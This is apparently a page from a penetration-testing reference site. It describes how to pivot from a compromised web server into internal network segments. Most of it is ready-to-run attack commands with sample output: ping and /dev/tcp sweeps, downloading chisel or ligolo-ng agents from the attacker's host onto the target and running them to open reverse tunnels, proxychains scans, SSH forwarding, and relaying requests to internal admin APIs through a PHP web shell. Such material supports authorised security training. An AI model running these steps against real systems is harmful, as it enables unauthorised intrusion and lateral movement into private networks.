# Pivoting from Web Server to Internal Network

> Exploit a compromised web server as a pivot point to enumerate and attack internal network segments using tunneling, proxychains, and port forwarding techniques.

- **URL:** https://hackindex.io/services/web/lateral-movement/pivoting-from-web-to-internal
- **Path:** HTTP/HTTPS > Lateral Movement
- **Up:** [Lateral Movement](https://hackindex.io/services/web/lateral-movement.md)
- **Published:** 2026-03-28
- **Updated:** 2026-04-24

A compromised web server typically has access to internal network segments not reachable from the attacker's position. The web server often connects to internal databases, APIs, and management interfaces. Pivoting routes attacker traffic through the compromised host to reach those internal services. Establish a stable shell first through [web shell management](https://hackindex.io/services/web/post-exploitation/web-shell-management) before setting up tunnels.

- **Internal network discovery** maps reachable subnets, live hosts, and open ports from the compromised server.
- **chisel SOCKS proxy** creates an encrypted reverse tunnel with SOCKS5 for proxychains integration.
- **ligolo-ng** builds a tun interface on Kali for transparent routing without proxychains.
- **SSH port forwarding** uses dynamic (-D) or local (-L) forwarding when SSH credentials are available.
- **Web shell as HTTP proxy** relays curl requests to internal services when binary upload is not possible.

## Internal Network Discovery

Map what the web server can reach before setting up tunneling infrastructure:

```bash
ip addr && ip route && cat /etc/hosts
# inet 10.10.10.50/24 brd 10.10.10.255
# inet 172.16.0.10/24 brd 172.16.0.255
# default via 10.10.10.1
```

```bash
for ip in $(seq 1 254); do ping -c1 -W1 172.16.0.$ip &>/dev/null && echo "172.16.0.$ip alive"; done
# 172.16.0.1 alive
# 172.16.0.20 alive
# 172.16.0.50 alive
```

```bash
for port in 22 80 443 3306 5432 6379 8080 8443 3389; do (echo >/dev/tcp/172.16.0.20/$port) 2>/dev/null && echo "172.16.0.20:$port open"; done
# 172.16.0.20:22 open
# 172.16.0.20:3306 open
# 172.16.0.20:8080 open
```

## chisel SOCKS Proxy

chisel creates an encrypted tunnel with a SOCKS5 proxy. Upload the binary to the target and connect back to your Kali server. All traffic proxied through the tunnel reaches the internal network:

```bash
chisel server -p $LPORT --reverse &
python3 -m http.server 8080 &
# 2026/03/28 12:00:00 server: Listening on http://0.0.0.0:4444
```

```bash
wget http://$LHOST:8080/chisel -O /tmp/chisel && chmod +x /tmp/chisel
/tmp/chisel client $LHOST:$LPORT R:socks &
# client: Connected (Latency 2.3ms)
```

Configure proxychains on Kali to route through the SOCKS5 proxy chisel creates on port 1080:

```bash
echo 'socks5 127.0.0.1 1080' >> /etc/proxychains4.conf
proxychains nmap -sT -Pn -p 22,80,443,3306,8080 172.16.0.20
# 22/tcp   open  ssh
# 3306/tcp open  mysql
# 8080/tcp open  http-proxy
```

```bash
proxychains curl -sk http://172.16.0.20:8080/
```

## ligolo-ng for Better Performance

ligolo-ng performs better than chisel for sustained tunneling. It creates a tun interface on Kali so proxychains is not needed: traffic routes naturally:

```bash
sudo ip tuntap add user kali mode tun ligolo && sudo ip link set ligolo up
ligolo-ng -selfcert -laddr 0.0.0.0:$LPORT &
```

```bash
wget http://$LHOST:8080/agent -O /tmp/agent && chmod +x /tmp/agent
/tmp/agent -connect $LHOST:$LPORT -ignore-cert &
```

```bash
sudo ip route add 172.16.0.0/24 dev ligolo
curl -sk http://172.16.0.20:8080/
```

## SSH Port Forwarding

When SSH credentials are available on the compromised host, SSH port forwarding is the most stable and reliable tunneling option:

```bash
ssh -D 1080 -N -f $USER@$TARGET_IP
```

```bash
ssh -L 3306:172.16.0.20:3306 -N -f $USER@$TARGET_IP
mysql -u webapp_user -pSuperSecret123! -h 127.0.0.1 -P 3306
```

`-D 1080` creates a SOCKS5 dynamic proxy. `-L local:remote` forwards a specific port. Use local forwarding when you need to reach a single internal service directly: it is simpler and more stable than a SOCKS proxy for targeted access.

## Web Shell as HTTP Proxy

When no binary upload is possible, a PHP web shell can proxy HTTP requests to internal services using curl or file_get_contents. Useful for quick one-off requests to internal APIs:

```bash
curl -sk "http://$TARGET_IP:$PORT/shell.php" --get --data-urlencode "cmd=curl -sk http://172.16.0.20:8080/api/v1/admin"
# {"admin":true,"users":[]}
```

## References

- [chisel](https://github.com/jpillora/chisel) - TCP tunnel over HTTP with SOCKS5 proxy support
- [ligolo-ng](https://github.com/nicocha30/ligolo-ng) - Advanced tunneling using TUN interface for transparent network access